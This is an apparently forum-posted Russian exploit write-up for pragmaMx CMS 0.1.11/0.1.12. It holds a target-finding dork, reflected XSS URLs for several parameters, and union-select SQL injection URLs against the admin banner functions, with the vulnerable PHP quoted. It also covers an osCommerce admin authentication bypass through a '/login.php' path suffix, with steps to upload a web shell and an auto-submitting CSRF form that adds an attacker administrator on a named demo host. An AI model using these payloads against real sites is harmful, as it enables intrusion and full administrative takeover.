cms pragmaMx 0.1.11
http://www.pragmamx.org/Downloads-op-view-lid-731.html
dork: "This Website based on pragmaMx"
Passive XSS
уязвимы параметры newlang, name, op, query, show_all,orderby, min, cid, id
http://localhost/html/index.php?newlang=1>"><script>alert(121212);</script>
http://localhost/html/index.php?newlang=1>"><script>alert(121212)%3B</script>
http://localhost/html/modules.php?name=1>"><script>alert(121212)%3B</script>
http://localhost/html/modules.php?name=nnn&newlang=1>"><script>alert(121 212)%3B</script>
http://localhost/html/modules.php?name=nnn&op=NewLinks&query=1>"><script >alert(121221)%3B</script>&min=0&orderby=dateD
http://localhost/html/modules.php?name=nnn&show_all=1>"><script>alert(12 1212)%3B</script>
http://localhost/html/modules.php?name=nnn&op=AddEntry&query=111&min=0&o rderby=1%22'%3E%3Cscript%3Ealert(121212)%3B%3C/script%3E
http://localhost/html/modules.php?name=nnnt&min=1%3E%22%3E%3Cscript%3Eal ert(121212)%3B%3C/script%3E&orderby=dateD&cid=0
http://localhost/html/modules.php?name=nnn&rop=showcontent&id=1%3E%22%3E %3Cscript%3Ealert(121212)%3B%3C/script%3E
SQL
права админа
admin/modules/banners.php
PHP код:
function bannerdelete($bid, $ok = 0)
{
global $prefix, $bgcolor2, $bgcolor3, $script;
if (!empty($ok)) {
if ($ok == 1) {
}
sql_query("delete from " . $prefix . "_banner where bid='$bid'");
header("Location: admin.php?op=banneradmin#top");
} else {
include("header.php");
GraphicAdmin();
OpenTable();
echo "<center><font class=\"title\"><b>" . _BANNERSADMIN . "</b></font><br /><br />";
echo "<a href=\"admin.php?op=banneradmin\">" . _BACKTO . " " . _ADMINMENU . "</a></center>";
CloseTable();
echo '<br />';
$result = sql_query("select bid,imptotal,impmade,clicks,imageurl,clickurl,alttext,script,active,typ from " . $prefix . "_banner where bid=$bid");
list($bid, $imptotal, $impmade, $clicks, $imageurl, $clickurl, $alttext, $script, $active, $typ) = sql_fetch_row($result);
http://localhost/html/admin.php?op=bannerdelete&bid=-1+union+select+1,version(),3,4,5,6,7,8,9,10+--+&ok=0
PHP код:
function banneredit($bid)
{
global $prefix;
include("header.php");
GraphicAdmin();
OpenTable();
echo "<center><font class=\"title\"><b>" . _BANNERSADMIN . "</b></font><br /><br />";
echo "<a href=\"admin.php?op=banneradmin\">" . _BACKTO . " " . _ADMINMENU . "</a></center>";
CloseTable();
echo '<br />';
$result = sql_query("select cid, imptotal, impmade, clicks, imageurl, clickurl, alttext, script, typ, active from " . $prefix . "_banner where bid=$bid");
http://localhost/html/admin.php?op=banneredit&bid=-1+union+select+1,2,3,4,version(),6,7,8,9,10+--+&ok=0
PHP код:
function bannerclientdelete($cid, $ok = 0)
{
global $prefix, $bid, $cid, $impmade, $clicks, $imageurl, $alttext, $bdate, $typ, $script;
if (!empty($ok)) {
if ($ok == 1) {
sql_query("delete from " . $prefix . "_banner where cid='$cid'");
sql_query("delete from " . $prefix . "_bannerclient where cid='$cid'");
}
header("Location: admin.php?op=banneradmin#top");
} else {
include("header.php");
GraphicAdmin();
OpenTable();
echo "<center><font class=\"title\"><b>" . _BANNERSADMIN . "</b></font><br /><br />";
echo "<a href=\"admin.php?op=banneradmin\">" . _BACKTO . " " . _ADMINMENU . "</a></center>";
CloseTable();
echo '<br />';
OpenTableAl();
$result2 = sql_query("select bid,cid,impmade,clicks,imageurl,clickurl,alttext,datestart,typ,script from " . $prefix . "_banner where cid=$cid");
http://localhost/html/admin.php?op=bannerclientdelete&cid=-1+union+select+1,2,3,4,5,6,7,8,9,version()+--+
PHP код:
function bannerclientedit($cid)
{
global $prefix;
include("header.php");
GraphicAdmin();
OpenTable();
echo "<div align=\"center\"><font class=\"title\"><b>" . _BANNERSADMIN . "</b></font><br /><br />";
echo "<a href=\"admin.php?op=banneradmin\">" . _BACKTO . " " . _ADMINMENU . "</a></div>";
CloseTable();
echo '<br />';
$result = sql_query("select name, contact, email, login, passwd, extrainfo from " . $prefix . "_bannerclient where cid=$cid");
list($name, $contact, $email, $login, $passwd, $extrainfo) = sql_fetch_row($result);
http://localhost/html/admin.php?op=bannerclientedit&cid=-1+union+select+1,version(),3,4,5,6+--+
==================
Обновилась версия CMS до
PragmaMX 0.1.12
В ней добавлен новый модуль - osc2pragmaMX, это уже известная osCommerce Online Merchant v2.2 RC2a.
Соответсвенно появилаь уязвимость:
catalog/admin/includes/application_top.php
PHP код:
...
// redirect to login page if administrator is not yet logged in
if (!tep_session_is_registered('admin')) {
if (isset($_COOKIE['admin'])){
$bridge_admin = $_COOKIE['admin'];
$bridge_admin_login = false;
if (!is_array($bridge_admin)) {
$bridge_admin = base64_decode($bridge_admin);
$bridge_admin = addslashes($bridge_admin);
$bridge_admin = explode(":", $bridge_admin);
}
$bridge_adminid = $bridge_admin[0];
$bridge_adminpwd = $bridge_admin[1];
$bridge_adminid = substr(addslashes($bridge_adminid), 0, 25);
if (!empty($bridge_adminid) && !empty($bridge_adminpwd)) {
$sql = "SELECT pwd FROM ".$prefix."_authors WHERE aid='$bridge_adminid'";
$result = tep_db_query($sql);
$pass = tep_db_fetch_array($result);
if ($pass['pwd'] == $bridge_adminpwd && !empty($pass['pwd'])){
tep_session_register('admin');
}
}
}else{
$redirect = false;
$current_page = basename($PHP_SELF);
if ($current_page != FILENAME_LOGIN) {
if (!tep_session_is_registered('redirect_origin')) {
tep_session_register('redirect_origin');
$redirect_origin = array('page' => $current_page,
'get' => $HTTP_GET_VARS);
}
$redirect = true;
}
if ($redirect == true) {
tep_redirect(tep_href_link(FILENAME_LOGIN));
}
unset($redirect);
}
уязвимость находится в строках
PHP код:
$current_page = basename($PHP_SELF);
if ($current_page != FILENAME_LOGIN) {
С точки зрения обычного (если он не посещает antichat.ru) программиста это безупречная проверка, но конструкция
admin/any_file.php/login.php проходит эту проверку, а на выполнение подается any_file.php.
Заливка шелла
запускаем файловый менеджер
http://demo.osc2pragmamx.org/modules/catalog/admin/file_manager.php/login.php
не забываем добавлять к УРЛу login.php
новый файл
http://demo.osc2pragmamx.org/modules/catalog/admin/file_manager.php/login.php?action=new_file
Добавляем себя в админы.
AddAdm.html
PHP код:
<form method="post" action="http://demo.osc2pragmamx.org/modules/catalog/admin/administrators.php/login.php?action=insert">
<input type=hidden name="username" value="as" />
<input type=hidden name="password" value="123123" />
<input type=hidden name="x" value="16" />
<input type=hidden name="y" value="13" />
</form>
<script>document.getElementsByTagName("form")[0].submit();</script>
Уязвимость работает, даже если модуль не подключен, поскольку для запуска используем не CMS,
а путь до скрипта http:/site.com/path_cms/modules/catalog/admin/any_file.php